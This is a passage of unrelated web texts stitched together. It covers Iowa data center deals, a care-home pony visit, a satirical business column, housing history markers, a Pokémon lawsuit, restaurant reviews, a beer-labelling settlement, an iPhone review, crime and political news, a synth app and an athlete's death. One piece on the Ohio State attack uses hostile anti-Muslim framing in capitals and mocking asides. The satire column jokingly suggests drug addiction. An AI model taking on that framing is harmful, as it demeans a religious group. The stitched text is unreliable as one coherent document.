than 9 million gallon a month. After 9 million gallons, the business would get a $3 rebate per thousand gallons. Sources: “Facebook chooses Iowa for next data center location” – Office of the Governor of Iowa; “A New Data Center for Iowa” – Facebook; “Update: Facebook investment expected to grow, state leaders say” – Des Moines Register; “Altoona approves new Facebook data center” – Des Moines Business Record  Facebook Newsfeed  Impact on startup community  “One of the biggest problems we have here is there are not a lot of big technology companies, other than sales offices,” said Christian Renaud, a mentor at StartupCity Des Moines. “This is going to make it better for the tech community in terms of exits,” such as potential acquisitions of small companies. – Des Moines Register  Nebraska’s missed chance  Kearney Mayor Stan Clouse said Monday that even if Iowa was chosen over his central Nebraska city, competing for such a huge data center was a good experience and an honor for the community. Kearney’s proposed site, near its airport, eventually will attract a data center, Clouse said. – Omaha World Herald  Speculating Iowa choice  The social networking giant’s goal is to obtain 25 percent of the power for its data centers from renewable sources, like wind, by 2015. And Iowa has it, ranking No. 3 nationally last year in the generation of wind energy, according to the American Wind Energy Association. Nebraska was No. 26. – Omaha World-Herald  No tornadoes  (Altoona city administrator Jeff) Mark said the company officials also were very concerned about weather and a big draw was the fact that a tornado has never touched down in Altoona. – Des Moines Business Record  Greater Des Moines Partnership Facebook Announcement Video  Prineville, Ore.: “Hub for high-tech”  In Prineville, Ore., where Facebook is building its second 300,000-square-foot data center, City Manager Steven Forrester said the company has helped transform the small town. – Des Moines Register  Google Fast Facts  The news: Google is going to increase the investment of its previous data center project in Council Bluffs, Iowa by $400 million, bringing its total spent in the area to $1.5 billion. The data center houses computer systems and associated components that support services such as Google Search, Gmail, Google Maps and Google+.  Google is going to increase the investment of its previous data center project in Council Bluffs, Iowa by $400 million, bringing its total spent in the area to $1.5 billion. The data center houses computer systems and associated components that support services such as Google Search, Gmail, Google Maps and Google+. Cost: Goolge will invest $400 million to expand its data center in Council Bluffs, Iowa.  Goolge will invest $400 million to expand its data center in Council Bluffs, Iowa. Job creation: Google is not pledging any additional new jobs, according to the Omaha World-Herald.  Google is not pledging any additional new jobs, according to the Omaha World-Herald. Incentives: The Iowa Economic Development Authority board approved an amendment request from Google, Inc., to increase the project budget of its April 2012 High Quality Jobs award. Additional tax benefits in the maximum amount of $7.2 million were awarded in the form of a refund of sales and use taxes paid during construction.  The Iowa Economic Development Authority board approved an amendment request from Google, Inc., to increase the project budget of its April 2012 High Quality Jobs award. Additional tax benefits in the maximum amount of $7.2 million were awarded in the form of a refund of sales and use taxes paid during construction. Sources: “Board Action: Economic Development Board Approves Financial Assistance” – Iowa Economic Development Authority; “Google Pumps $400 Million More into Iowa, Investment Now Tops $1.5 Billion” – Data Center Knowledge; “Tax breaks OK’d for Facebook, Google in Iowa” – Omaha World-Herald  Google News  The data center’s history  Google spent $600 million to build the initial phase of capacity in Council Bluffs, followed by phased expansion investments of $300 million, $200 million and now an additional $400 million. Total: $1.5 billion. Let that sink in. – Data Center Knowledge  Google versus Facebook?  So as Facebook pushes Google, perhaps Google is now pushing back a bit today with its own Iowa news. Google’s is a bigger project announcement, coming the same day after Facebook’s might just be a coincidence enabled by incentive packages, or it might be an attempt to steal Facebook’s thunder. – GigaOm  Credits: Data center image courtesy of Facebook. Video from Greater Des Moines Partnership on YouTube.  (Visited 1 times, 1 visits today)
-An 88-year-old horse lover’s wish to see the animals again came true when a Shetland pony paid a visit to her care home.  Betty Burchett, a Sunrise of Eastbourne resident, has had a life-long passion for horses, having owned, trained and loved them from a young age.  Having been in low spirits for some time, it was Betty’s love of horses, combined with the dedication of a Sunrise staff member, which began to turn Betty’s life around.  In December, Betty was declining her food and was barely drinking. She was becoming very frail.  Betty and her designated care assistant, Emma Draper, spent many days chatting, reflecting on life, and sharing happy memories.  Upon hearing that Betty’s one wish would be to run her hands through a horse’s coat one more time, the pair struck a deal.  They agreed that Betty’s wish could become a reality and that a trip to a nearby stable would be arranged, if Betty was able to eat the food she needed to build up the strength to go.  A few weeks later, Betty wrapped up in a warm coat, hat, gloves and a scarf, and she was reunited with her beloved animals, after a long time apart.  Taken to the local yard by Emma, Betty was able to meet many different breeds of horses, and enjoyed spending time with the yard dog too.  She was overwhelmed by the incredible day and how special it felt to be reunited with the horses.  Betty took a few strands of hay as a memento to remember the precious day, which she now keeps in her room which is adorned with photographs of her winning horses from racecourses around the country.  The Sunrise of Eastbourne team also organised another special day for Betty last week.  Bailey, the eight-year-old miniature Shetland mare from Seven Sisters Pet Pals, paid a surprise visit to the Eastbourne home.  As well as being patted and stroked lovingly by all the residents for more than an hour in Sunrise’s Reminiscence neighbourhood, Bailey paid a special visit to Betty’s bedroom, coming right beside her bed to be stroked.  The pony’s entrance made Betty’s face light up, and she was smiling and laughing as she stroked Bailey.  Emma’s small but thoughtful action has made such a difference to both Betty and her family, who have been overwhelmed by the opportunity for Betty to spend special time with horses once again.  General Manager at Sunrise of Eastbourne, Fiona White, said, “The transformation in Betty since visiting the stables and now being visited by Bailey, has been incredible.  “She is a new person, and the sparkle is back in her eye. Sometimes it’s the little things that mean so much to our residents and families.  “We are so proud of Emma, who constantly goes above and beyond her duty to look after residents and ensure that their lives are enriched with the things they love.  “Emma selflessly going the extra mile epitomises the culture of care here at Sunrise of Eastbourne, and we are delighted that Betty has had such a special few days.”
-Dear How Do I: Business?  I run a small publishing and distribution business and we've run into a small problem.  Our main business is in educational texts and textbooks for primary and secondary school students, but the recent doubt over Gonski has meant a lot of our client schools have decided not to renew contracts.  Should we wait for new policy or is it time to bail from the market?  Sincerely,  Bruce McRobertson  Hi Bruce,  There are a couple of micro-economic principles that apply here.  The first task is to test if the market you're working is stable enough to stay in. Take the number of contracts you usually have and then divide it by the number of times Joe Hockey has mentioned the Labor Party this month.  If the resulting number is greater than one, you're in trouble and so is the economy.  Secondly, businesses within the education sector face a different long-run production curve to most industries, mainly due to what economists call Ignatius' Law.  Basically, for any given level of production, Chris Pyne's propensity to lie about education policy remains constant at "almost certain".  The unfortunate upshot of all this is that the education sector, especially for private suppliers, is as stable as a happy-clapper speaking tongues during a royal commission.  My advice for now is to exit the market, buy Delloite and KPMG stocks and get rich off the sale of public-private partnership failures that'll be common over the next 10 years.  If you've got cash to spend after that, a drug addiction might make the next generation of school-leavers somewhat more bearable.
-YPSILANTI, MI - A dark side of Ypsilanti's history is being acknowledged Friday afternoon with the unveiling of historical markers at the site of Parkridge Homes.  Officials from the Michigan State Historic Preservation Office planned to unveil three markers during a ceremony from 4 to 6 p.m. Friday, May 5 at the Parkridge Community Center, 591 Armstrong Drive, in Ypsilanti.  The Parkridge Community Center was built the same year as Parkridge Homes, which served as segregated housing in the 1940s for African Americans in Ypsilanti who worked at the Willow Run Bomber Plant, contributing to the war effort.  The homes were constructed in 1943 by African-American architect Hilyard Robinson, designed to create a community and address a growing shortage of housing for workers in the area. Parkridge Homes was the last of three housing developments built during the time period in Ypsilanti.  It was later converted to public housing in the early 1950s. The barracks-style housing site had 80 units and as many as 189 people living there in 2013. Of those 189 individuals, 112 were under the age of 18.  The housing complex was demolished in July 2016.  Ypsilanti to begin demolition of aging Parkridge Homes public housing Demolition of the aging Parkridge Homes public housing complex will begin this week.  The buildings are an important part of local history, said Andrea Plevek, director of the Washtenaw County Office of Community & Economic Development.  "This dedication highlights both the history of housing segregation in Washtenaw County as well as the incredible contributions of African-Americans to our community," Plevek said in a statement. "It is important to acknowledge and learn from our past in order to improve our future, and projects like this allow us to do just that."  The historical marker event was proceeded by months of research that resulted in photo albums and images of the residents and daily life at Parkridge Homes.  The markers will display information on the history of the building developments and the architect, to be installed at the management building of the New Parkridge Homes under construction between First Avenue and Armstrong Drive in Ypsilanti.  New Parkridge Homes include 86 units of both two-family and duplex housing, developed by community organizations such as the Washtenaw County OCED, Ypsilanti Housing Commission, the City of Ypsilanti and general contractor for the site, ASTI Environmental.  The history of Parkridge Homes was funded by a grant from the Michigan Humanities Council and part of a larger program to record African-American history in Ypsilanti.
-A longtime Pokémon superfan who is being sued by the company for organizing a themed party during the PAX Prime gaming conference in Seattle said he needs to come up with $4,000 to settle the case.  Ramar Larkin Jones simply never thought it would come to this, but he had no choice but to launch a crowdfunding campaign to raise the money.  “I thought it was a scare tactic,” Jones said. “I thought once the party was canceled there would be nothing more about this. I’m shocked.”  GeekWire first reported on the case when The Pokémon Company International, Inc. claimed copyright infringement the night before the so-called “5th Annual Unofficial Pokemon PAX Kickoff Party” party was supposed to go down in August.  Jones had arranged the party every year since 2011 for all the self-proclaimed geeks who flock to Seattle to celebrate their passion at the annual PAX convention.  He said he lost money on the party every year, and this years was going to be no different. Tickets to the event cost $2, and he made a total of about $500 off the sales.  Jones said he spent $450 on a DJ and gift card giveaways alone. He also bought decorations, was going to give away a Kindle Fire to whoever showed up wearing the best costume and a cash prize to the winner of a Super Smash Bros. tournament.  According to event listings, the party was going to feature an “AMAZIN POKEMON MASHUP,” “Pokemon themed shots and drinks,” “Smash Bros. Tournament with cash prize,” “Dancing,” “Giveaways,” “Cosplay Contest and more.”  But Pokémon’s lawyers took issue with a poster and Facebook post for the event that contained pictures of Pikachu and Snivy, two of Pokémon’s copyrighted characters. In the lawsuit, filed in U.S. District Court in the Western District of Washington, Pokémon’s lawyers say they aim to “put an end to and obtain redress” for the “blatant and willful infringement.”  Jones said the complaint was filed without any kind of warning, and he would have canceled the party sooner had he known there were any issues.  Jones tells GeekWire the company’s lawyers now say they are willing to settle the case if he pays their $4,000 in legal fees within the next 45 days.  The Pokémon Company International, Inc. has not responded to several requests for comment.  Jones said he could fight the case in court, but he’s sure his own legal fees would end up costing more than the settlement offer even if he won.  Jones, who is the manager of a Seattle cafe, said he asked for a year to pay the money, but the company’s lawyers are sticking to the deadline. Not having “anywhere close” to that amount of cash, he launched a crowdfunding campaign on GoFundMe.  “So I’m reaching out to the PAX video game community. Anything you can donate would be greatly appreciated,” he wrote on the campaign’s page. “Trust me I will never throw another fandom party again.”
-Before being gunned down, in an apparent Islamic State-inspired terrorist attack, a SOMALI MUSLIM man, 20, ran into a group of pedestrians on a street corner with his vehicle, then got out and used a butcher knife to cut several people, said OSU President. FBI refuses to rule out terror link. (Well, DUH)  NBC NBC News has identified the suspect as 18-year-old Somali Muslim Abdul Razak Ali Artan. Artan was an Ohio State student who left his homeland with his family in 2007. They lived in Pakistan before coming to the U.S., where Artan became a permanent resident in 2014.  UPDATE: A 20-year-old Somali man is the suspect in the Ohio State University attack https://t.co/G7ANHT8lbn pic.twitter.com/kdOzF7aWiV — CBS News (@CBSNews) November 28, 2016  Columbus police said a man driving a car on The Ohio State University campus jumped a curb and hit several pedestrians before getting out of his gray Honda Civic and stabbing others. Within one minute, police said, an OSU officer shot and killed the man and confiscated his butcher knife.  Here’s a photo of the DEAD MUSLIM TERRORIST.  CNN Ten people were hospitalized after an attack Monday at Ohio State University, Columbus Fire spokeswoman Rebecca Diehm said. Nine are in stable condition, and one is in critical condition, she said.  The university released a statement after the attack. “A suspect has been shot and reported deceased,” the university said. “Victim injuries include stab wounds, injury by motor vehicle and other injuries that are being evaluated.”  told CNN One witnessthat the attacker “completely silent” during the stabbing. The witness said the suspect “was very creepy.” The silence remained “even when he was shot.”  HE WAS RIGHT AGAINhttps://t.co/Sq13LIEZJk — Comrade Stump (@ComradeStump1) November 28, 2016  CNN will probably blame Donald Trump for that Somali refuge attacking the students at Ohio State University. #PrayersForOSU — Mark Dice (@MarkDice) November 28, 2016  Inquisitr Jason Bower, a student with the university, stated that he saw a man pull out a knife “between the Koffolt Laboratories and Watts Hall.” “He pulled a large knife and started chasing people around, trying to attack them,” the student was quoted.  WBNS reports NBC Columbus’ Ted Hart reports that nine people were injured. The station says that of those nine, eight are in stable condition while one is in critical condition.that a person attacked with a large knife is a professor at the school.  A speech by Ohio Governor John Kasich had been planned nearby the site of the attack for later in the day. The governor’s speech has now been cancelled (He’d hate to have to admit the attack was by a Muslim).  HEAVY In the A ugust 25 edition of the Ohio State Lantern, Artan was featured in the “Humans of Ohio State” feature. During his interview, Artan bemoaned the lack of pray facilities at OSU. He stresses in the piece that he needs to pray five times a day.  Artan adds, “I’m a Muslim, it’s not what the media portrays me to be. If people look at me, a Muslim praying, I don’t know what they’re going to think.”
-20  104 E Main St  Manchester , MI 48158  (734) 428-8003  We were eager to go to the newly renovated Frank's. The whole place has is cheerful, friendly, and sincere. Our pizza was excellent. They are passionate about making pizza. I wish the Greek salad was a less iceberg, more green. Everything was fairly priced. This place gives me hope for Manchester. I've lived in the area over 30 years. This is my favorite Manchester restaurant.  Frank's Place is the best pizza in Manchester - there's no doubt about that. Great taste and quality ingredients make it worth a go if you're in the mood for for pizza. My only knock is the price: it's much pricier than I expected. On my last visit, one small supreme/"super" pizza and one medium pepperoni set me back nearly $32 for takeout, which is quite a bit steeper than comparable non-chain pizza places around the state. Even still, I really enjoyed the pizza and will order again in the future. It's that good. Pro tip: Frank's also sells balls of dough if enjoy making your own pizza at home.  So my girl and I went for a drive right? We're like "Manchester, that's a town I guess" so we drive through. It's 7:45 PM and there's nothing open besides a couple of divey-looking bars. But then, this glowing open sign is on and we are it "Frank's Place". We park, we go in, there's a staff of cooks working their ass off making pizzas and cleaning, making entertaining conversation. We ask to eat in, so we shall. Food: Italian faire and some fried snacks. BUT THEY HAVE GRINDERS. OMG MEATBALL GRINDER. 18Inches of meaty saucy cheesy goodness. Holy shit. It was amazing. Got it with loaded waffle fries. FOR $14! Go here. Seriously.  Love the food. Always delicious. Food not the issue, called an order in and my daughter ended up getting hurt so we called back to let them know we were unable to pickup our order (didn't want to drive in the snow with an injured toddler) apologized in the panic of the moment. The woman yelled at me on the phone and was appauled that I had to cancel, swore at me and hung up. Not sure what made us deserve that with everything going on. Thanks Franks.  Fabulous pizza and pasta. Great service and prices. Really enjoyed our waitress and all the fresh ingredients.  Guy with amazing tats asked us, too! Great place- skip Ollie's and come on down the block to Frank's. We had the very yummy Sicilian bread (a cheese pizza- good but not necessary) and a thin crust, basil-pepperoni-onion-feta large pizza that was amazing except for the basil, which was, sadly, burned to an un-basil-y tasting crisp (ie hay) in the oven. It is far better to put it on pizza *after* cooking it. They make their own dough and you can taste the difference! Enough pizza for breakfast AND lunch the next day, too. Worth the drive from Ann Arbor. Highly recommended!  Well, there are very few places to eat in this lovely small town, so this gets a 4th star from me! We went to Manchester for fireworks, and enjoyed the picturesque drive from Ann Arbor as well as the fireworks celebration in town. The food was pretty good at Franks. The restaurant is a bit bare-bones with decorations and ambience... a no frills small town place! The best deal on the menu was the side salad. I had low expectations since it was only $2, but it was heaped with cucumbers, tomatoes, lettuce, onions, cheese, and croutons! Yum! I'd skip the icky thick basil vinaigrette dressing and go for something else though. The pizza was good (although we were offered "canned or fresh mushrooms"... canned??! ew!) and a large gave two of us about half to take home for leftovers. Sadly they don't sell beer or wine... that would be a nice upgrade! It's a good spot to check out if you are in town.  This is my favorite pizza in town. I could eat the Tomato, Butter, & Basil Pizza non-stop. So freakin' tasty.  I love when you're walking out and the kids covered in tattoos making pizzas sincerely ask how your experience was and thank you for coming in. I've been to Frank's, maybe a dozen times, over the last 15 years and I don't think the place has ever changed. The Sicilian bread is still to die for, the service is excellent. One of the best parts is how fresh the ingredients are and the variety! I don't eat meat so any place that gives me options like jalapeno, broccoli, spinach, fresh thinly sliced mushrooms, red onion... has got my number. They have a lot of options on the menu, but I make the trip primarily for the Sicilian cheesy bread. It's a must-have.  Excellent Pizza! Easily comparable to Buddy's. They seem to really care about the quality of their food. Highly recommended for the pizza adventurous. Located in a great little historic downtown. Worth the trip!  It is so nice to find someplace that is neither a chain pizza nor a gourmet pizzeria that is wood or coal fired. This is just a really good down to earth pizza. When I was ordering they even asked if I wanted fresh or canned mushrooms. I mean so does that. These people care about find it right. I highly reconvene this friendly and family owned place.  Found this small place to eat after a soccer game. Food and prices were both excellent! Their grinders are delicious! Maybe if I am back around this way I will try their pizza. Very happy we chose this place for a quick meal after a game!  What a wonderful establishment. The food is absolutely incredible. Awesome staff that is willing to meet your needs for your dining experience. The pizza is to die for. A bit pricey but worth the $$. There sandwiches are delicious as well, but pricey as well. Will be back soon !! Thank you Frank's!  I have been here several times and have always been impressed with everything. They have an amazing menu, the food has always been great, and everyone there is so friendly. Finally, and possibly most important to note, they have just started to serve donuts. These are made fresh daily starting at 3 a.m. each morning, and it shows. These just might be the best donuts possible.  Dined here after my skydive in tecumseh.. cant be happier.. friendly waitress.. great food.. extensive menu to choose from. Definitely recommend.  After a grueling 8 HR drive (due to ice, sleet and rain) which should have taken 6 HR, it was absolutely calming to have great pizza and friendly service! Thought they would be closed due to weather but they welcomed us in! Plan to make it a stopping off place from now on.  Never had a good meal from them. Tried them many times and either the meat was rank or the toppings for the sandwiches or other items were rotten. Amazed that this place is still in business but hey, that's a small town for ya.  This place, though small-town small, and quite honestly the only restuarant open in the afternoon, has quite an extensive menu. Pizza, burgers, whole wheat wraps, and basic sandwiches don the menu. I had the grilled tilapia sandwich on marbled rye with tomato, red onion (minus the "white" sauce which seems to be ladled on many of the menu items) and lettuce. It was actually quite good. The salad bar is really where it's at though, here. Beets (love), red onion, boiled eggs, yellow raisins, cottage cheese, and thinly sliced mushrooms are just some of the few yummies on the bar here. I LOVE thinly sliced mushrooms, yes I do. For good coffee, before coming to Franks, go to the Manchester coffee shop a few doors down and order an Americano.. (one of the employees now knows what an americano is after me coming here :) )  Love Franks. Excellent menu selection and nice little salad bar. I've never had anything bad there. My favorite place for pizza.
-At least it looks authentic. Photo: Courtesy of Kirin Ichiban  Drinkers who thought for some reason that the words Imported and Japan’s prime brew on the label meant Kirin Ichiban was imported from Japan can now receive a refund from Anheuser-Busch, albeit in a token amount. The lager hasn’t been made within 5,000 miles of Japan or with any Japanese ingredients since 1996, when A-B took over brewing so that Americans could finally “enjoy Kirin products with brewery-fresh flavor,” but the prospect of confusion was apparent enough to a Florida judge that he’s signed off on a settlement entitling anyone deceived between October 25, 2009 and December 17, 2014 to an entire 50 cents per six-pack — or 10 cents in the event they squirreled away the receipt from a single-bottle purchase — for up to $50 in total reimbursements.  The company agreed to nix that “Imported” bit, and also to make more prominent the fine-print-ish line that reads, “Brewed under Kirin’s strict supervision by Anheuser-Busch in Los Angeles, CA, and Williamsburg, VA,” but the plaintiffs maintained that phrase is currently hidden by the packaging.  [Law360]
-Apple’s first ‘phablet’, at 5.5in, feels ridiculously oversized but quickly feels familiar - as long as your hands are big enough  Too big. This thing’s too big. Waaay too big. It’s... actually, that screen is pretty nice, isn’t it? Wow, you really can get a lot of content on there, can’t you? Hey, my hand’s getting used to the size. It’s quite comfortable, isn’t it?  And that’s how it goes with the iPhone 6 Plus. I expected to find it far too big, and at first my expectations were met. But give it a few minutes, perhaps a couple of days, and you’ll find yourself strangely attracted to its huge-seeming screen.  “Phablets”, as the 5.5in (14 cm)-plus screen size is described (which seems to derive from Scott Webster in June 2010, then referring to a 7in Huawei device), are increasingly popular. In Asia and particularly China, they’re very popular, though less so in the US and much less so in Europe. They make up about 15% of sales, although that’s growing fast.  Enter the iPhone  Since 2011, Samsung has had the high-end phablet market to itself with the Galaxy Note range, now in its fourth generation. Now, it has competition - and the Apple brand could badly dent its South Korean rival’s sales.  Compared to the 4.7in iPhone 6, the 6 Plus soon stops feeling absurd when you try them side by side. I often found that I would reach for the larger screen, given the choice, just because you can read a lot more on it.  The battery life is also better (proportionally more of the phone consists of batteries); and it has the same pleasing, rounded feel of the 6.  The comparison becomes especially harsh against last year’s Galaxy Note 3, which has a 5.7in (14.5cm) screen at 1920x1080 pixels. The Note’s body is almost exactly the same size, but chrome-edged - which looks terribly retro now - with a wart-like camera. The iPhone 6 Plus camera sticks out too - an entire millimetre - but there’s no comparison in looks or feel.  Specifications  • Screen: 5.5in, 1920x1080 401ppi LED; 1300:1 contrast ratio  • Processor: A8 64-bit ARM with M8 motion coprocessor  • RAM: 1GB  • Storage: 16GB, 64GB, 128GB  • Operating system: iOS 8  • Camera: back: 8MP with 1.5micron pixels, f2.2, Optical image stabilisation, 240fps video, sapphire lens cover, auto-HDR, face detection, 43-megapixel panorama, burst mode 10fps; 1080p video at 30fps or 60fps. Front camera: 1.2MP (1280x960), f2.2, 720p HD, burst mode.  • Connectivity: LTE, Wi-Fi a/b/g/n/ac, Bluetooth 4.0 with BLE, NFC; VoLTE (voice over LTE) capability, Wi-Fi call handoff capability  • Dimensions: 158.1 x 778 x 7.1mm  • Weight: 172g  • Others: TouchID fingerprint sensor; NFC payment capability for ApplePay  Camera  The 6 Plus has optical image stabilisation (OIS) - long a staple of top-end Nokia (now Microsoft) Lumia phones - so that films taken while moving aren’t jerky. Instagram’s Hyperlapse got there first (calling on the gyroscope), but the 6 Plus also adds 240fps slow-motion filming; expect this device to become the new “must-have” among photographers who like travelling light.  Screen and usability  Many apps will need rewriting to deal with the new screen, which feels as though it inflates text in apps that don’t use Apple’s text system. Then again, those who struggled to read text on the 4in screen of the iPhone 5 will welcome the extra 88% of screen real estate. Apple has also introduced a “Zoomed” viewing setting that really does inflate everything as though you’d slapped a magnifying glass over it all - the “grandpa setting”, if you like.  Facebook Twitter Pinterest Zoomed display on the iPhone 6 and 6 Plus enlarges icons and text Photograph: Guardian  Another concession to the gigantism is the “two-tap” gesture: double-tap the home button lightly, and in portrait mode the top of the screen slides down to the halfway mark, so that you can reach any part of the screen without adjusting your hand position.  Apple’s other tweak, specifically for the 6 Plus, is that when the home screen is rotated into landscape mode, the dock moves to the side; in the Mail app, you get a “two-up” view, with email headers on the left and body text on the right. Other apps will probably follow suit in exploiting this.  Samsung, by contrast, offers various different user interface tweaks on the Note: there’s a quick app switching menu on the left-hand side, and you can also run two apps at a time (and resize each). The app switcher is just intrusive, though the two-up configuration clearly has potential uses (say, messaging while looking at a map). Samsung also has a stylus - though I’ve heard internal data that suggests it’s used only 10% of the time, which in turn implies a big chance for Apple via the 90%.  Many of the best things about the 6 Plus - widgets, third-party keyboards, “extensions” to create app-based workflows - will only be exploited by new apps that appear in the next few months as developers get to grips with the new size and the potential it offers them. For now, though, it’s a surprisingly big phone that becomes increasingly familiar with use.  Price  The iPhone 6 Plus costs from £619 (inc VAT)/$749 (ex taxes) for 16GB storage.  Verdict  Choosing between the iPhone 6 Plus and the smaller iPhone 6 could be surprisingly difficult if your hand, and your wallet, is large enough. It is large, yet the extra screen space is a boon. But that also makes it unwieldy, and could increase the risk of dropping it. Compared to other phablets, it’s lighter and thinner – but not cheaper  Pros: large and thin; bright screen; best battery life of any iPhone; adaptations for extra-large screen; iOS 8 allows third-party keyboards, workflow extensions and widgets  Cons: pricey; may be unwieldy if you don’t have particularly large hands  • Apple iPhone 6: thinner, faster and slightly cheaper - review  • iOS 8 review: the iPhone and iPad get customised, extended and deepened  • This footnote was appended on 23 September 2014. Charles Arthur’s travel and accommodation was paid for by Apple.
-After a terrifying attack from a group of teenagers, a 46-year-old Chinese food delivery man in New York found himself immediately resuming his job anyway, simply because he has no other choice.  Dao Li was reportedly robbed of $150 after being beaten by three teenage attackers in a building on Walton Ave., the Bronx on Aug. 24 at around 9:45 p.m. Following the ordeal, Li went on making deliveries for his restaurant Happy Dragon, despite the threat of further attacks.  “I’m scared but I must do it,” Li told New York Daily News. “This is my store. I can’t close it, right? I have a wife and kids. They have to eat.”  Li, a father of two kids aged 15 and 11, revealed that he was aware that he has been the target of one of the three teens as he has bothered him a couple of time before.  “Two or three times he’s tried to steal my food. I don’t know why,” he said. “Maybe because I’m Chinese, because I’m skinny?”  He narrated how that particular teen had thrown a glass bottle at him as he was walking with his wife down a sidewalk one late evening, not so long ago.  “He was across the street with a few people,” he said. “I think it was beer (bottle). It breaks on the sidewalk in front of me and I jump back. Then we ran home.”  Li said he was unable to notify the authorities about the previous incidents because of his very limited English.  A surveillance video obtained by the police showed Li being attacked by the still unidentified suspects.  The footage shows three attackers ambush Li by first distracting him and then knocking him out with a punch. After he tried to get back up, he was shoved back to the ground and was beaten again.  After the brutal assault, they took the cash out of Li’s pockets, totalling $150.  Although Li was badly beaten, he chose to go to Bronx Lebanon Hospital the following day instead of immediately seeking medical attention.  “I didn’t go to the hospital until the next day because I was scared,” he said. “It really hurt — my mouth, my head.”  The suspects remain at large.
-The popular nonsteroidal anti-inflammatory drug (NSAID) used for the treatment of arthritis pain, Celebrex, has undergone intense scrutiny in a marathon securities fraud case against the manufacturer, Pfizer. This week, The New York Times reported that thousands of internal documents were unsealed by a federal judge, and that they proved to be riddled with deliberate fraud and deception regarding not only safety concerns about the drug, but claims about the benefits as well.  In 2004, Celebrex and other COX-2-inhibitors—a class of NSAIDs thought to reduce pain and inflammation without the gastrointestinal side effects of other NSAIDs—underwent sharp examination after a similar drug, Viox, was withdrawn from the market after studies uncovered that the drug doubled the risk of heart attack and stroke. Leading up to the release of internal documents, Pfizer has dealt with a wave of lawsuits from more than 3,000 patients who claim that Celebrex caused heart attacks and strokes.  The New York Times reported this week that blatant and unabashed deception about Pfizer’s research was detected in the documents unsealed by a federal judge. “They swallowed our story, hook, line and sinker,” wrote a research director. Not only was Celebrex not easier on the stomach than other NSAIDs like aspirin, but the dangers of stroke and heart attack were masked. The only reason it appeared that the drug was safer on the stomach was because Pfizer and it’s partner, Pharmacia, cherry picked their research results by only presenting the first six months of a yearlong study.  To top off the conspiratorial nature of this case, it turns out that Pfizer stole the research that led to the discovery of Celebrex in the first place. Last month, Pfizer settled with Brigham Young University for $450 million. A chemistry professor, Daniel L. Simmons, discovered the genetic workings of the drug in the early 1990s and the university had a research agreement for royalties with Monsanto Company which was later acquired by Pfizer. The original agreement not honored by Pfizer was 15 percent royalty on sales of Celebrex, or about $9.7 billion. Rather than risk losing everything in a trial by jury, BYU settled for just $450 million.  I’ll leave you to draw your own conclusions about some of the eccentricities of big pharma from this bit.  Advertisements
-Republican presidential candidate Donald Trump speaks during a campaign event in Kansas City on Saturday.. (Photo by Jabin Botsford/The Washington Post)  Republican front-runner Donald Trump threatened Sunday to send his supporters to infiltrate the campaign rallies of Democratic hopeful Bernie Sanders, who Trump continued to insist was behind disruptions at his events.  Republican presidential candidate Donald Trump told his supporters in Ohio that the scuffles caused at his Chicago rally the night before were caused by supporters of Democratic presidential candidate Bernie Sanders. (Reuters)  “Bernie Sanders is lying when he says his disrupters aren't told to go to my events,” Trump said on Twitter. “Be careful Bernie, or my supporters will go to yours!”  Bernie Sanders is lying when he says his disruptors aren't told to go to my events. Be careful Bernie, or my supporters will go to yours! — Donald J. Trump (@realDonaldTrump) March 13, 2016  Trump said during an appearance Sunday on CNN’s “State of the Union” that he didn’t consider his post on social media to be a threat. He repeated his charge that Sanders had lied when he said his campaign wasn’t behind an influx of protesters that led to the cancellation of Trump’s planned rally in Chicago on Friday, where violence spilled onto the streets.  [Sanders: ‘Hatred and division,’ not his campaign, inspired the Trump protest in Chicago]  Democratic presidential candidate Bernie Sanders refuted charges from Republican Presidential candidate Donald Trump that Sanders is sending protesters to disrupt Trump's rallies. (Reuters)  Appearing later on the same program, Sanders said Trump was the liar.  “This man cannot stop lying,” the senator from Vermont said.  Sanders said he has many supporters, and while some may attend Trump events as a form of peaceful protest, they are not doing so at his direction.  “I would hope my supporters will not disrupt meetings,” Sanders said. “We have millions of supporters, and people do things. But it was not our campaign.”  He blamed Trump for creating the environment that has led to violence at his rallies.  “This a man who keeps implying violence, and then you end up getting what you see,” Sanders said.  During his appearance, Trump predicted that if his supporters come to Sanders events, they would be be treated badly.  “They’d be arrested and all sorts of things would happen to them,” Trump said.
-In the latest episode of Sonic Touch, Nick and Gaz dig into the new Arturia iMini, and even compare it to a Model D Minimoog.  Here’s an earlier comparison between Arturia iMini and the desktop version, Mini V.  Features:  Minimoog sound.  3 Oscillators  24db per octave filter.  Simulated headphone jack/external input feedback.  2 Assignable XY pads  Chromatic or tuned scale keyboard modes  Polyphonic mode  Full featured arpeggiator  Repeat  HOLD and MEMORY latch modes  Octave span  5 note order modes  Speed and sync controls  Virtual Analog Chorus  Virtual Analog Delay  Owners of both the iMini and Mini V software apps can transfer sounds from one platform to the other via iTunes.  Full user MIDI mapping of panel controls.  Supports WIST sync with other iOS devices.  Tabletop Ready  Soundcloud seeder (via Tabletop)  Render to .wav file (via Tabletop)  Audiocopy to paste your audio into another iPAD application. (via Tabletop)  Arturia iMini is available now for US $9.99 in the App Store.  Here are the audio examples mentioned in the review:  via sonicstate
-Dave Mirra, the BMX champ and former host of MTV’s Real World/Road Rules Challenge, has died of an apparent suicide, police in Greenville North Carolina said in a statement. He was 41 years old.  Mirra won 24 X Games medals — the most ever for any competitor until skateboarder Bob Burnquist passed him in 2013. He nabbed the first of his 14 gold medals in 1996 and his final one in 2005. Mirra’s success as a biker led to a BMX videogame series, Dave Mirra Freestyle BMX. He also raced for Subaru’s rally car racing team.  Mirra was born in New York on April 4, 1974. His career began in 1992 and was almost ended a year later, when he was hit by a drunk driver, according to his website. But he still was able to compete in the inaugural X Games in 1995.  That same year, he followed in his brother’s footsteps and moved south to Greenville, which eventually became a hotbed for bikers, earning the nickname “Pro-Town, USA” for its high concentration of BMX pros living there.  “We mourn the loss today of a great friend and wonderful human being who touched the lives of so many around the world with his gift,” Greenville Mayor Allen Thomas said in a statement. “He called Greenville, North Carolina home and was as humble a guy talking with kids on a street corner about bikes as he was in his element on the world stage. A young life with so much to offer was taken too soon.”  In 2004 and 2005, Mirra hosted two seasons of MTV’s Real World/Road Rules Challenge series: The Challenge: The Inferno and The Inferno II. His hosting successor was fellow biker and friend T.J. Lavin, who on Thursday shared an Instagram photo of himself, Mirra, and two other friends, paired with the caption “Really love you guys.”  Mirra is survived by his wife, Lauren, and two children.  Greenville Police are investigating Mirra’s death. Police Chief Mark Holtzman and Mayor Thomas will address the media Friday, at 9 a.m. ET at GPD headquarters.
